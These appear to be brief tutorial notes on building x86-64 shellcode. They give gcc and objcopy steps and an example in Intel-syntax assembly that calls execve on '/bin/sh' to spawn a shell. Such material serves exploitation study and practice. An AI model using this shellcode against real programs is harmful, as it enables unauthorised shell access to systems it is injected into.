Process
- Write out shellcode as assembly
- Assemble with
gcc -Wl,-N -nostdlib -static shellcode.s -o shellcode-elf
- Extract shellcode
objcopy --dump-section .text=shellcode-raw shellcode-elf
Example
.global _start
_start:
.intel_syntax_noprefix
mov rax, 59
lea rdi, [rip+binsh]
mov rsi, 0
mov rdx, 0
syscall
binsh:
.string "/bin/sh"